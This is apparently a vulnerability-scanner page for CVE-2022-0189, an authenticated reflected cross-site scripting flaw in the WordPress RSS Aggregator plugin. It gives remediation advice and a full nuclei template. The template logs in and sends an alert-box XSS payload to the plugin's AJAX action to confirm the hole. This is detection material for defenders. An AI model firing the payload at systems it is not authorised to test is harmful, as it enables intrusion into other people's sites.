WordPress RSS Aggregator < 4.20 - Authenticated Cross-Site Scripting

mediumseverity

6.1CVSS score

2.2%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

WordPress RSS Aggregator < 4.20 is susceptible to cross-site scripting. The plugin does not sanitize and escape the id parameter in the wprss_fetch_items_row_action AJAX action before outputting it back in the response, leading to reflected cross-site scripting.

Impact

An attacker with authenticated access can inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update WordPress RSS Aggregator plugin to version 4.20 or later to mitigate the vulnerability.

How to confirm it

Send: POST /wp-login.php ; POST /wp-admin/admin-ajax.php?action=wprss_fetch_items_row_action
Positive when: contains "<img src onerror=alert(`document.domain`)>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-0189 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-0189

info:
  name: WordPress RSS Aggregator < 4.20 - Authenticated Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: WordPress RSS Aggregator < 4.20 is susceptible to cross-site scripting. The plugin does not sanitize and escape the id parameter in the wprss_fetch_items_row_action AJAX action before outputting it back in the response, leading to reflected cross-site scripting.
  impact: |
    An attacker with authenticated access can inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update WordPress RSS Aggregator plugin to version 4.20 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/52a71bf1-b8bc-479e-b741-eb8fb9685014
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0189
    - https://plugins.trac.wordpress.org/changeset/2659298
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0189
    cwe-id: CWE-79
    epss-score: 0.02228
    epss-percentile: 0.82883
    cpe: cpe:2.3:a:wprssaggregator:wp_rss_aggregator:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wprssaggregator
    product: wp_rss_aggregator
    framework: wordpress
  tags: cve,cve2022,wpscan,wordpress,xss,wp-plugin,authenticated,wprssaggregator,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        POST /wp-admin/admin-ajax.php?action=wprss_fetch_items_row_action HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        id=%3Chtml%3E%3Cimg+src+onerror%3Dalert%28%60document.domain%60%29%3E

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src onerror=alert(`document.domain`)>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from